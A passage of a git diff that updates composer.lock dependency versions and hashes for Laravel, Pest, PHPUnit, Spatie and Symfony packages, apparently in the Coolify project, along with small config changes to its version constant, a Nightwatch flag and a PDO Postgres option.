"suggest": { "ext-pcntl": "Used to gracefully terminate Dusk when tests are running." @@ -13556,22 +13734,22 @@ ], "support": { "issues": "https://github.com/laravel/dusk/issues", - "source": "https://github.com/laravel/dusk/tree/v8.3.4" + "source": "https://github.com/laravel/dusk/tree/v8.5.0" }, - "time": "2025-11-20T16:26:16+00:00" + "time": "2026-03-21T11:50:49+00:00" }, { "name": "laravel/mcp", - "version": "v0.5.5", + "version": "v0.6.4", "source": { "type": "git", "url": "https://github.com/laravel/mcp.git", - "reference": "b3327bb75fd2327577281e507e2dbc51649513d6" + "reference": "f822c5eb5beed19adb2e5bfe2f46f8c977ecea42" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/mcp/zipball/b3327bb75fd2327577281e507e2dbc51649513d6", - "reference": "b3327bb75fd2327577281e507e2dbc51649513d6", + "url": "https://api.github.com/repos/laravel/mcp/zipball/f822c5eb5beed19adb2e5bfe2f46f8c977ecea42", + "reference": "f822c5eb5beed19adb2e5bfe2f46f8c977ecea42", "shasum": "" }, "require": { @@ -13631,20 +13809,20 @@ "issues": "https://github.com/laravel/mcp/issues", "source": "https://github.com/laravel/mcp" }, - "time": "2026-02-05T14:05:18+00:00" + "time": "2026-03-19T12:37:13+00:00" }, { "name": "laravel/pint", - "version": "v1.27.0", + "version": "v1.29.0", "source": { "type": "git", "url": "https://github.com/laravel/pint.git", - "reference": "c67b4195b75491e4dfc6b00b1c78b68d86f54c90" + "reference": "bdec963f53172c5e36330f3a400604c69bf02d39" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/pint/zipball/c67b4195b75491e4dfc6b00b1c78b68d86f54c90", - "reference": "c67b4195b75491e4dfc6b00b1c78b68d86f54c90", + "url": "https://api.github.com/repos/laravel/pint/zipball/bdec963f53172c5e36330f3a400604c69bf02d39", + "reference": "bdec963f53172c5e36330f3a400604c69bf02d39", "shasum": "" }, "require": { @@ -13655,13 +13833,14 @@ "php": "^8.2.0" }, "require-dev": { - "friendsofphp/php-cs-fixer": "^3.92.4", - "illuminate/view": "^12.44.0", - "larastan/larastan": "^3.8.1", - "laravel-zero/framework": "^12.0.4", + "friendsofphp/php-cs-fixer": "^3.94.2", + "illuminate/view": "^12.54.1", + "larastan/larastan": "^3.9.3", + "laravel-zero/framework": "^12.0.5", "mockery/mockery": "^1.6.12", - "nunomaduro/termwind": "^2.3.3", - "pestphp/pest": "^3.8.4" + "nunomaduro/termwind": "^2.4.0", + "pestphp/pest": "^3.8.6", + "shipfastlabs/agent-detector": "^1.1.0" }, "bin": [ "builds/pint" @@ -13698,35 +13877,35 @@ "issues": "https://github.com/laravel/pint/issues", "source": "https://github.com/laravel/pint" }, - "time": "2026-01-05T16:49:17+00:00" + "time": "2026-03-12T15:51:39+00:00" }, { "name": "laravel/roster", - "version": "v0.2.9", + "version": "v0.5.1", "source": { "type": "git", "url": "https://github.com/laravel/roster.git", - "reference": "82bbd0e2de614906811aebdf16b4305956816fa6" + "reference": "5089de7615f72f78e831590ff9d0435fed0102bb" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/roster/zipball/82bbd0e2de614906811aebdf16b4305956816fa6", - "reference": "82bbd0e2de614906811aebdf16b4305956816fa6", + "url": "https://api.github.com/repos/laravel/roster/zipball/5089de7615f72f78e831590ff9d0435fed0102bb", + "reference": "5089de7615f72f78e831590ff9d0435fed0102bb", "shasum": "" }, "require": { - "illuminate/console": "^10.0|^11.0|^12.0", - "illuminate/contracts": "^10.0|^11.0|^12.0", - "illuminate/routing": "^10.0|^11.0|^12.0", - "illuminate/support": "^10.0|^11.0|^12.0", - "php": "^8.1|^8.2", - "symfony/yaml": "^6.4|^7.2" + "illuminate/console": "^11.0|^12.0|^13.0", + "illuminate/contracts": "^11.0|^12.0|^13.0", + "illuminate/routing": "^11.0|^12.0|^13.0", + "illuminate/support": "^11.0|^12.0|^13.0", + "php": "^8.2", + "symfony/yaml": "^7.2|^8.0" }, "require-dev": { "laravel/pint": "^1.14", "mockery/mockery": "^1.6", - "orchestra/testbench": "^8.22.0|^9.0|^10.0", - "pestphp/pest": "^2.0|^3.0", + "orchestra/testbench": "^9.0|^10.0|^11.0", + "pestphp/pest": "^3.0|^4.1", "phpstan/phpstan": "^2.0" }, "type": "library", @@ -13759,34 +13938,35 @@ "issues": "https://github.com/laravel/roster/issues", "source": "https://github.com/laravel/roster" }, - "time": "2025-10-20T09:56:46+00:00" + "time": "2026-03-05T07:58:43+00:00" }, { "name": "laravel/telescope", - "version": "v5.16.1", + "version": "v5.19.0", "source": { "type": "git", "url": "https://github.com/laravel/telescope.git", - "reference": "dc114b94f025b8c16b5eb3194b4ddc0e46d5310c" + "reference": "5e95df170d14e03dd74c4b744969cf01f67a050b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/telescope/zipball/dc114b94f025b8c16b5eb3194b4ddc0e46d5310c", - "reference": "dc114b94f025b8c16b5eb3194b4ddc0e46d5310c", + "url": "https://api.github.com/repos/laravel/telescope/zipball/5e95df170d14e03dd74c4b744969cf01f67a050b", + "reference": "5e95df170d14e03dd74c4b744969cf01f67a050b", "shasum": "" }, "require": { "ext-json": "*", - "laravel/framework": "^8.37|^9.0|^10.0|^11.0|^12.0", + "laravel/framework": "^8.37|^9.0|^10.0|^11.0|^12.0|^13.0", + "laravel/sentinel": "^1.0", "php": "^8.0", - "symfony/console": "^5.3|^6.0|^7.0", - "symfony/var-dumper": "^5.0|^6.0|^7.0" + "symfony/console": "^5.3|^6.0|^7.0|^8.0", + "symfony/var-dumper": "^5.0|^6.0|^7.0|^8.0" }, "require-dev": { "ext-gd": "*", "guzzlehttp/guzzle": "^6.0|^7.0", "laravel/octane": "^1.4|^2.0", - "orchestra/testbench": "^6.47.1|^7.55|^8.36|^9.15|^10.8", + "orchestra/testbench": "^6.47.1|^7.55|^8.36|^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.10" }, "type": "library", @@ -13825,26 +14005,26 @@ ], "support": { "issues": "https://github.com/laravel/telescope/issues", - "source": "https://github.com/laravel/telescope/tree/v5.16.1" + "source": "https://github.com/laravel/telescope/tree/v5.19.0" }, - "time": "2025-12-30T17:31:31+00:00" + "time": "2026-03-24T18:37:14+00:00" }, { "name": "league/uri-components", - "version": "7.8.0", + "version": "7.8.1", "source": { "type": "git", "url": "https://github.com/thephpleague/uri-components.git", - "reference": "8b5ffcebcc0842b76eb80964795bd56a8333b2ba" + "reference": "848ff9db2f0be06229d6034b7c2e33d41b4fd675" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/uri-components/zipball/8b5ffcebcc0842b76eb80964795bd56a8333b2ba", - "reference": "8b5ffcebcc0842b76eb80964795bd56a8333b2ba", + "url": "https://api.github.com/repos/thephpleague/uri-components/zipball/848ff9db2f0be06229d6034b7c2e33d41b4fd675", + "reference": "848ff9db2f0be06229d6034b7c2e33d41b4fd675", "shasum": "" }, "require": { - "league/uri": "^7.8", + "league/uri": "^7.8.1", "php": "^8.1" }, "suggest": { @@ -13903,7 +14083,7 @@ "docs": "https://uri.thephpleague.com", "forum": "https://thephpleague.slack.com", "issues": "https://github.com/thephpleague/uri-src/issues", - "source": "https://github.com/thephpleague/uri-components/tree/7.8.0" + "source": "https://github.com/thephpleague/uri-components/tree/7.8.1" }, "funding": [ { @@ -13911,7 +14091,7 @@ "type": "github" } ], - "time": "2026-01-14T17:24:56+00:00" + "time": "2026-03-15T20:22:25+00:00" }, { "name": "mockery/mockery", @@ -14058,39 +14238,36 @@ }, { "name": "nunomaduro/collision", - "version": "v8.8.3", + "version": "v8.9.1", "source": { "type": "git", "url": "https://github.com/nunomaduro/collision.git", - "reference": "1dc9e88d105699d0fee8bb18890f41b274f6b4c4" + "reference": "a1ed3fa530fd60bc515f9303e8520fcb7d4bd935" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nunomaduro/collision/zipball/1dc9e88d105699d0fee8bb18890f41b274f6b4c4", - "reference": "1dc9e88d105699d0fee8bb18890f41b274f6b4c4", + "url": "https://api.github.com/repos/nunomaduro/collision/zipball/a1ed3fa530fd60bc515f9303e8520fcb7d4bd935", + "reference": "a1ed3fa530fd60bc515f9303e8520fcb7d4bd935", "shasum": "" }, "require": { - "filp/whoops": "^2.18.1", - "nunomaduro/termwind": "^2.3.1", + "filp/whoops": "^2.18.4", + "nunomaduro/termwind": "^2.4.0", "php": "^8.2.0", - "symfony/console": "^7.3.0" + "symfony/console": "^7.4.4 || ^8.0.4" }, "conflict": { - "laravel/framework": "<11.44.2 || >=13.0.0", - "phpunit/phpunit": "<11.5.15 || >=13.0.0" + "laravel/framework": "<11.48.0 || >=14.0.0", + "phpunit/phpunit": "<11.5.50 || >=14.0.0" }, "require-dev": { - "brianium/paratest": "^7.8.3", - "larastan/larastan": "^3.4.2", - "laravel/framework": "^11.44.2 || ^12.18", - "laravel/pint": "^1.22.1", - "laravel/sail": "^1.43.1", - "laravel/sanctum": "^4.1.1", - "laravel/tinker": "^2.10.1", - "orchestra/testbench-core": "^9.12.0 || ^10.4", - "pestphp/pest": "^3.8.2 || ^4.0.0", - "sebastian/environment": "^7.2.1 || ^8.0" + "brianium/paratest": "^7.8.5", + "larastan/larastan": "^3.9.2", + "laravel/framework": "^11.48.0 || ^12.52.0", + "laravel/pint": "^1.27.1", + "orchestra/testbench-core": "^9.12.0 || ^10.9.0", + "pestphp/pest": "^3.8.5 || ^4.4.1 || ^5.0.0", + "sebastian/environment": "^7.2.1 || ^8.0.3 || ^9.0.0" }, "type": "library", "extra": { @@ -14153,45 +14330,45 @@ "type": "patreon" } ], - "time": "2025-11-20T02:55:25+00:00" + "time": "2026-02-17T17:33:08+00:00" }, { "name": "pestphp/pest", - "version": "v4.3.2", + "version": "v4.4.3", "source": { "type": "git", "url": "https://github.com/pestphp/pest.git", - "reference": "3a4329ddc7a2b67c19fca8342a668b39be3ae398" + "reference": "e6ab897594312728ef2e32d586cb4f6780b1b495" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/pestphp/pest/zipball/3a4329ddc7a2b67c19fca8342a668b39be3ae398", - "reference": "3a4329ddc7a2b67c19fca8342a668b39be3ae398", + "url": "https://api.github.com/repos/pestphp/pest/zipball/e6ab897594312728ef2e32d586cb4f6780b1b495", + "reference": "e6ab897594312728ef2e32d586cb4f6780b1b495", "shasum": "" }, "require": { - "brianium/paratest": "^7.16.1", - "nunomaduro/collision": "^8.8.3", - "nunomaduro/termwind": "^2.3.3", + "brianium/paratest": "^7.19.2", + "nunomaduro/collision": "^8.9.1", + "nunomaduro/termwind": "^2.4.0", "pestphp/pest-plugin": "^4.0.0", "pestphp/pest-plugin-arch": "^4.0.0", "pestphp/pest-plugin-mutate": "^4.0.1", "pestphp/pest-plugin-profanity": "^4.2.1", "php": "^8.3.0", - "phpunit/phpunit": "^12.5.8", - "symfony/process": "^7.4.4|^8.0.0" + "phpunit/phpunit": "^12.5.14", + "symfony/process": "^7.4.5|^8.0.5" }, "conflict": { "filp/whoops": "<2.18.3", - "phpunit/phpunit": ">12.5.8", + "phpunit/phpunit": ">12.5.14", "sebastian/exporter": "<7.0.0", "webmozart/assert": "<1.11.0" }, "require-dev": { - "pestphp/pest-dev-tools": "^4.0.0", - "pestphp/pest-plugin-browser": "^4.2.1", + "pestphp/pest-dev-tools": "^4.1.0", + "pestphp/pest-plugin-browser": "^4.3.0", "pestphp/pest-plugin-type-coverage": "^4.0.3", - "psy/psysh": "^0.12.18" + "psy/psysh": "^0.12.21" }, "bin": [ "bin/pest" @@ -14257,7 +14434,7 @@ ], "support": { "issues": "https://github.com/pestphp/pest/issues", - "source": "https://github.com/pestphp/pest/tree/v4.3.2" + "source": "https://github.com/pestphp/pest/tree/v4.4.3" }, "funding": [ { @@ -14269,7 +14446,7 @@ "type": "github" } ], - "time": "2026-01-28T01:01:19+00:00" + "time": "2026-03-21T13:14:39+00:00" }, { "name": "pestphp/pest-plugin", @@ -14413,35 +14590,35 @@ }, { "name": "pestphp/pest-plugin-browser", - "version": "v4.2.1", + "version": "v4.3.0", "source": { "type": "git", "url": "https://github.com/pestphp/pest-plugin-browser.git", - "reference": "0ed837ab7e80e6fc78d36913cc0b006f8819336d" + "reference": "48bc408033281974952a6b296592cef3b920a2db" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/pestphp/pest-plugin-browser/zipball/0ed837ab7e80e6fc78d36913cc0b006f8819336d", - "reference": "0ed837ab7e80e6fc78d36913cc0b006f8819336d", + "url": "https://api.github.com/repos/pestphp/pest-plugin-browser/zipball/48bc408033281974952a6b296592cef3b920a2db", + "reference": "48bc408033281974952a6b296592cef3b920a2db", "shasum": "" }, "require": { "amphp/amp": "^3.1.1", - "amphp/http-server": "^3.4.3", + "amphp/http-server": "^3.4.4", "amphp/websocket-client": "^2.0.2", "ext-sockets": "*", - "pestphp/pest": "^4.3.1", + "pestphp/pest": "^4.3.2", "pestphp/pest-plugin": "^4.0.0", "php": "^8.3", - "symfony/process": "^7.4.3" + "symfony/process": "^7.4.5|^8.0.5" }, "require-dev": { "ext-pcntl": "*", "ext-posix": "*", - "livewire/livewire": "^3.7.3", - "nunomaduro/collision": "^8.8.3", - "orchestra/testbench": "^10.8.0", - "pestphp/pest-dev-tools": "^4.0.0", + "livewire/livewire": "^3.7.10", + "nunomaduro/collision": "^8.9.0", + "orchestra/testbench": "^10.9.0", + "pestphp/pest-dev-tools": "^4.1.0", "pestphp/pest-plugin-laravel": "^4.0", "pestphp/pest-plugin-type-coverage": "^4.0.3" }, @@ -14476,7 +14653,7 @@ "unit" ], "support": { - "source": "https://github.com/pestphp/pest-plugin-browser/tree/v4.2.1" + "source": "https://github.com/pestphp/pest-plugin-browser/tree/v4.3.0" }, "funding": [ { @@ -14492,7 +14669,7 @@ "type": "patreon" } ], - "time": "2026-01-11T20:32:34+00:00" + "time": "2026-02-17T14:54:40+00:00" }, { "name": "pestphp/pest-plugin-mutate", @@ -14886,11 +15063,11 @@ }, { "name": "phpstan/phpstan", - "version": "2.1.38", + "version": "2.1.44", "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/dfaf1f530e1663aa167bc3e52197adb221582629", - "reference": "dfaf1f530e1663aa167bc3e52197adb221582629", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/4a88c083c668b2c364a425c9b3171b2d9ea5d218", + "reference": "4a88c083c668b2c364a425c9b3171b2d9ea5d218", "shasum": "" }, "require": { @@ -14935,20 +15112,20 @@ "type": "github" } ], - "time": "2026-01-30T17:12:46+00:00" + "time": "2026-03-25T17:34:21+00:00" }, { "name": "phpunit/php-code-coverage", - "version": "12.5.2", + "version": "12.5.3", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-code-coverage.git", - "reference": "4a9739b51cbcb355f6e95659612f92e282a7077b" + "reference": "b015312f28dd75b75d3422ca37dff2cd1a565e8d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/4a9739b51cbcb355f6e95659612f92e282a7077b", - "reference": "4a9739b51cbcb355f6e95659612f92e282a7077b", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/b015312f28dd75b75d3422ca37dff2cd1a565e8d", + "reference": "b015312f28dd75b75d3422ca37dff2cd1a565e8d", "shasum": "" }, "require": { @@ -15004,7 +15181,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", - "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/12.5.2" + "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/12.5.3" }, "funding": [ { @@ -15024,7 +15201,7 @@ "type": "tidelift" } ], - "time": "2025-12-24T07:03:04+00:00" + "time": "2026-02-06T06:01:44+00:00" }, { "name": "phpunit/php-file-iterator", @@ -15285,16 +15462,16 @@ }, { "name": "phpunit/phpunit", - "version": "12.5.8", + "version": "12.5.14", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/phpunit.git", - "reference": "37ddb96c14bfee10304825edbb7e66d341ec6889" + "reference": "47283cfd98d553edcb1353591f4e255dc1bb61f0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/37ddb96c14bfee10304825edbb7e66d341ec6889", - "reference": "37ddb96c14bfee10304825edbb7e66d341ec6889", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/47283cfd98d553edcb1353591f4e255dc1bb61f0", + "reference": "47283cfd98d553edcb1353591f4e255dc1bb61f0", "shasum": "" }, "require": { @@ -15308,8 +15485,8 @@ "phar-io/manifest": "^2.0.4", "phar-io/version": "^3.2.1", "php": ">=8.3", - "phpunit/php-code-coverage": "^12.5.2", - "phpunit/php-file-iterator": "^6.0.0", + "phpunit/php-code-coverage": "^12.5.3", + "phpunit/php-file-iterator": "^6.0.1", "phpunit/php-invoker": "^6.0.0", "phpunit/php-text-template": "^5.0.0", "phpunit/php-timer": "^8.0.0", @@ -15320,6 +15497,7 @@ "sebastian/exporter": "^7.0.2", "sebastian/global-state": "^8.0.2", "sebastian/object-enumerator": "^7.0.0", + "sebastian/recursion-context": "^7.0.1", "sebastian/type": "^6.0.3", "sebastian/version": "^6.0.0", "staabm/side-effects-detector": "^1.0.5" @@ -15362,7 +15540,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/phpunit/issues", "security": "https://github.com/sebastianbergmann/phpunit/security/policy", - "source": "https://github.com/sebastianbergmann/phpunit/tree/12.5.8" + "source": "https://github.com/sebastianbergmann/phpunit/tree/12.5.14" }, "funding": [ { @@ -15386,25 +15564,25 @@ "type": "tidelift" } ], - "time": "2026-01-27T06:12:29+00:00" + "time": "2026-02-18T12:38:40+00:00" }, { "name": "rector/rector", - "version": "2.3.5", + "version": "2.3.9", "source": { "type": "git", "url": "https://github.com/rectorphp/rector.git", - "reference": "9442f4037de6a5347ae157fe8e6c7cda9d909070" + "reference": "917842143fd9f5331a2adefc214b8d7143bd32c4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/rectorphp/rector/zipball/9442f4037de6a5347ae157fe8e6c7cda9d909070", - "reference": "9442f4037de6a5347ae157fe8e6c7cda9d909070", + "url": "https://api.github.com/repos/rectorphp/rector/zipball/917842143fd9f5331a2adefc214b8d7143bd32c4", + "reference": "917842143fd9f5331a2adefc214b8d7143bd32c4", "shasum": "" }, "require": { "php": "^7.4|^8.0", - "phpstan/phpstan": "^2.1.36" + "phpstan/phpstan": "^2.1.40" }, "conflict": { "rector/rector-doctrine": "*", @@ -15438,7 +15616,7 @@ ], "support": { "issues": "https://github.com/rectorphp/rector/issues", - "source": "https://github.com/rectorphp/rector/tree/2.3.5" + "source": "https://github.com/rectorphp/rector/tree/2.3.9" }, "funding": [ { @@ -15446,7 +15624,7 @@ "type": "github" } ], - "time": "2026-01-28T15:22:48+00:00" + "time": "2026-03-16T09:43:55+00:00" }, { "name": "revolt/event-loop", @@ -15808,16 +15986,16 @@ }, { "name": "sebastian/environment", - "version": "8.0.3", + "version": "8.0.4", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/environment.git", - "reference": "24a711b5c916efc6d6e62aa65aa2ec98fef77f68" + "reference": "7b8842c2d8e85d0c3a5831236bf5869af6ab2a11" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/24a711b5c916efc6d6e62aa65aa2ec98fef77f68", - "reference": "24a711b5c916efc6d6e62aa65aa2ec98fef77f68", + "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/7b8842c2d8e85d0c3a5831236bf5869af6ab2a11", + "reference": "7b8842c2d8e85d0c3a5831236bf5869af6ab2a11", "shasum": "" }, "require": { @@ -15860,7 +16038,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/environment/issues", "security": "https://github.com/sebastianbergmann/environment/security/policy", - "source": "https://github.com/sebastianbergmann/environment/tree/8.0.3" + "source": "https://github.com/sebastianbergmann/environment/tree/8.0.4" }, "funding": [ { @@ -15880,7 +16058,7 @@ "type": "tidelift" } ], - "time": "2025-08-12T14:11:56+00:00" + "time": "2026-03-15T07:05:40+00:00" }, { "name": "sebastian/exporter", @@ -16538,26 +16716,26 @@ }, { "name": "spatie/flare-client-php", - "version": "1.10.1", + "version": "1.11.0", "source": { "type": "git", "url": "https://github.com/spatie/flare-client-php.git", - "reference": "bf1716eb98bd689451b071548ae9e70738dce62f" + "reference": "fb3ffb946675dba811fbde9122224db2f84daca9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/flare-client-php/zipball/bf1716eb98bd689451b071548ae9e70738dce62f", - "reference": "bf1716eb98bd689451b071548ae9e70738dce62f", + "url": "https://api.github.com/repos/spatie/flare-client-php/zipball/fb3ffb946675dba811fbde9122224db2f84daca9", + "reference": "fb3ffb946675dba811fbde9122224db2f84daca9", "shasum": "" }, "require": { - "illuminate/pipeline": "^8.0|^9.0|^10.0|^11.0|^12.0", + "illuminate/pipeline": "^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", "php": "^8.0", "spatie/backtrace": "^1.6.1", - "symfony/http-foundation": "^5.2|^6.0|^7.0", - "symfony/mime": "^5.2|^6.0|^7.0", - "symfony/process": "^5.2|^6.0|^7.0", - "symfony/var-dumper": "^5.2|^6.0|^7.0" + "symfony/http-foundation": "^5.2|^6.0|^7.0|^8.0", + "symfony/mime": "^5.2|^6.0|^7.0|^8.0", + "symfony/process": "^5.2|^6.0|^7.0|^8.0", + "symfony/var-dumper": "^5.2|^6.0|^7.0|^8.0" }, "require-dev": { "dms/phpunit-arraysubset-asserts": "^0.5.0", @@ -16595,7 +16773,7 @@ ], "support": { "issues": "https://github.com/spatie/flare-client-php/issues", - "source": "https://github.com/spatie/flare-client-php/tree/1.10.1" + "source": "https://github.com/spatie/flare-client-php/tree/1.11.0" }, "funding": [ { @@ -16603,41 +16781,44 @@ "type": "github" } ], - "time": "2025-02-14T13:42:06+00:00" + "time": "2026-03-17T08:06:16+00:00" }, { "name": "spatie/ignition", - "version": "1.15.1", + "version": "1.16.0", "source": { "type": "git", "url": "https://github.com/spatie/ignition.git", - "reference": "31f314153020aee5af3537e507fef892ffbf8c85" + "reference": "b59385bb7aa24dae81bcc15850ebecfda7b40838" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/ignition/zipball/31f314153020aee5af3537e507fef892ffbf8c85", - "reference": "31f314153020aee5af3537e507fef892ffbf8c85", + "url": "https://api.github.com/repos/spatie/ignition/zipball/b59385bb7aa24dae81bcc15850ebecfda7b40838", + "reference": "b59385bb7aa24dae81bcc15850ebecfda7b40838", "shasum": "" }, "require": { "ext-json": "*", "ext-mbstring": "*", "php": "^8.0", - "spatie/error-solutions": "^1.0", - "spatie/flare-client-php": "^1.7", - "symfony/console": "^5.4|^6.0|^7.0", - "symfony/var-dumper": "^5.4|^6.0|^7.0" + "spatie/backtrace": "^1.7.1", + "spatie/error-solutions": "^1.1.2", + "spatie/flare-client-php": "^1.9", + "symfony/console": "^5.4.42|^6.0|^7.0|^8.0", + "symfony/http-foundation": "^5.4.42|^6.0|^7.0|^8.0", + "symfony/mime": "^5.4.42|^6.0|^7.0|^8.0", + "symfony/var-dumper": "^5.4.42|^6.0|^7.0|^8.0" }, "require-dev": { - "illuminate/cache": "^9.52|^10.0|^11.0|^12.0", + "illuminate/cache": "^9.52|^10.0|^11.0|^12.0|^13.0", "mockery/mockery": "^1.4", - "pestphp/pest": "^1.20|^2.0", + "pestphp/pest": "^1.20|^2.0|^3.0", "phpstan/extension-installer": "^1.1", "phpstan/phpstan-deprecation-rules": "^1.0", "phpstan/phpstan-phpunit": "^1.0", "psr/simple-cache-implementation": "*", - "symfony/cache": "^5.4|^6.0|^7.0", - "symfony/process": "^5.4|^6.0|^7.0", + "symfony/cache": "^5.4.38|^6.0|^7.0|^8.0", + "symfony/process": "^5.4.35|^6.0|^7.0|^8.0", "vlucas/phpdotenv": "^5.5" }, "suggest": { @@ -16686,38 +16867,38 @@ "type": "github" } ], - "time": "2025-02-21T14:31:39+00:00" + "time": "2026-03-17T10:51:08+00:00" }, { "name": "spatie/laravel-ignition", - "version": "2.10.0", + "version": "2.12.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-ignition.git", - "reference": "2abefdcca6074a9155f90b4ccb3345af8889d5f5" + "reference": "45b3b6e1e73fc161cba2149972698644b99594ee" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-ignition/zipball/2abefdcca6074a9155f90b4ccb3345af8889d5f5", - "reference": "2abefdcca6074a9155f90b4ccb3345af8889d5f5", + "url": "https://api.github.com/repos/spatie/laravel-ignition/zipball/45b3b6e1e73fc161cba2149972698644b99594ee", + "reference": "45b3b6e1e73fc161cba2149972698644b99594ee", "shasum": "" }, "require": { "ext-curl": "*", "ext-json": "*", "ext-mbstring": "*", - "illuminate/support": "^11.0|^12.0", + "illuminate/support": "^11.0|^12.0|^13.0", "nesbot/carbon": "^2.72|^3.0", "php": "^8.2", - "spatie/ignition": "^1.15.1", + "spatie/ignition": "^1.16", "symfony/console": "^7.4|^8.0", "symfony/var-dumper": "^7.4|^8.0" }, "require-dev": { - "livewire/livewire": "^3.7.0|^4.0", + "livewire/livewire": "^3.7.0|^4.0|dev-josh/v3-laravel-13-support", "mockery/mockery": "^1.6.12", - "openai-php/client": "^0.10.3", - "orchestra/testbench": "^v9.16.0|^10.6", + "openai-php/client": "^0.10.3|^0.19", + "orchestra/testbench": "^v9.16.0|^10.6|^11.0", "pestphp/pest": "^3.7|^4.0", "phpstan/extension-installer": "^1.4.3", "phpstan/phpstan-deprecation-rules": "^2.0.3", @@ -16778,7 +16959,7 @@ "type": "github" } ], - "time": "2026-01-20T13:16:11+00:00" + "time": "2026-03-17T12:20:04+00:00" }, { "name": "staabm/side-effects-detector", @@ -16834,16 +17015,16 @@ }, { "name": "symfony/http-client", - "version": "v7.4.5", + "version": "v7.4.7", "source": { "type": "git", "url": "https://github.com/symfony/http-client.git", - "reference": "84bb634857a893cc146cceb467e31b3f02c5fe9f" + "reference": "1010624285470eb60e88ed10035102c75b4ea6af" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-client/zipball/84bb634857a893cc146cceb467e31b3f02c5fe9f", - "reference": "84bb634857a893cc146cceb467e31b3f02c5fe9f", + "url": "https://api.github.com/repos/symfony/http-client/zipball/1010624285470eb60e88ed10035102c75b4ea6af", + "reference": "1010624285470eb60e88ed10035102c75b4ea6af", "shasum": "" }, "require": { @@ -16911,7 +17092,7 @@ "http" ], "support": { - "source": "https://github.com/symfony/http-client/tree/v7.4.5" + "source": "https://github.com/symfony/http-client/tree/v7.4.7" }, "funding": [ { @@ -16931,7 +17112,7 @@ "type": "tidelift" } ], - "time": "2026-01-27T16:16:02+00:00" + "time": "2026-03-05T11:16:58+00:00" }, { "name": "symfony/http-client-contracts", @@ -17013,23 +17194,23 @@ }, { "name": "ta-tikoma/phpunit-architecture-test", - "version": "0.8.6", + "version": "0.8.7", "source": { "type": "git", "url": "https://github.com/ta-tikoma/phpunit-architecture-test.git", - "reference": "ad48430b92901fd7d003fdaf2d7b139f96c0906e" + "reference": "1248f3f506ca9641d4f68cebcd538fa489754db8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/ta-tikoma/phpunit-architecture-test/zipball/ad48430b92901fd7d003fdaf2d7b139f96c0906e", - "reference": "ad48430b92901fd7d003fdaf2d7b139f96c0906e", + "url": "https://api.github.com/repos/ta-tikoma/phpunit-architecture-test/zipball/1248f3f506ca9641d4f68cebcd538fa489754db8", + "reference": "1248f3f506ca9641d4f68cebcd538fa489754db8", "shasum": "" }, "require": { "nikic/php-parser": "^4.18.0 || ^5.0.0", "php": "^8.1.0", "phpdocumentor/reflection-docblock": "^5.3.0 || ^6.0.0", - "phpunit/phpunit": "^10.5.5 || ^11.0.0 || ^12.0.0", + "phpunit/phpunit": "^10.5.5 || ^11.0.0 || ^12.0.0 || ^13.0.0", "symfony/finder": "^6.4.0 || ^7.0.0 || ^8.0.0" }, "require-dev": { @@ -17066,9 +17247,9 @@ ], "support": { "issues": "https://github.com/ta-tikoma/phpunit-architecture-test/issues", - "source": "https://github.com/ta-tikoma/phpunit-architecture-test/tree/0.8.6" + "source": "https://github.com/ta-tikoma/phpunit-architecture-test/tree/0.8.7" }, - "time": "2026-01-30T07:16:00+00:00" + "time": "2026-02-17T17:25:14+00:00" }, { "name": "theseer/tokenizer", diff --git a/config/constants.php b/config/constants.php index be41c4618..828493208 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,9 +2,9 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.464', + 'version' => '4.0.0-beta.471', 'helper_version' => '1.0.12', - 'realtime_version' => '1.0.10', + 'realtime_version' => '1.0.11', 'self_hosted' => env('SELF_HOSTED', true), 'autoupdate' => env('AUTOUPDATE'), 'base_config_path' => env('BASE_CONFIG_PATH', '/data/coolify'), @@ -55,6 +55,10 @@ 'is_scheduler_enabled' => env('SCHEDULER_ENABLED', true), ], + 'nightwatch' => [ + 'is_nightwatch_enabled' => env('NIGHTWATCH_ENABLED', false), + ], + 'docker' => [ 'minimum_required_version' => '24.0', ], diff --git a/config/database.php b/config/database.php index 79da0eaf7..a5e0ba703 100644 --- a/config/database.php +++ b/config/database.php @@ -49,7 +49,7 @@ 'search_path' => 'public', 'sslmode' => 'prefer', 'options' => [ - PDO::PGSQL_ATTR_DISABLE_PREPARES => env('DB_DISABLE_PREPARES', false), + (defined('Pdo\Pgsql::ATTR_DISABLE_PREPARES') ? \Pdo\Pgsql::ATTR_DISABLE_PREPARES : \PDO::PGSQL_ATTR_DISABLE_PREPARES) => 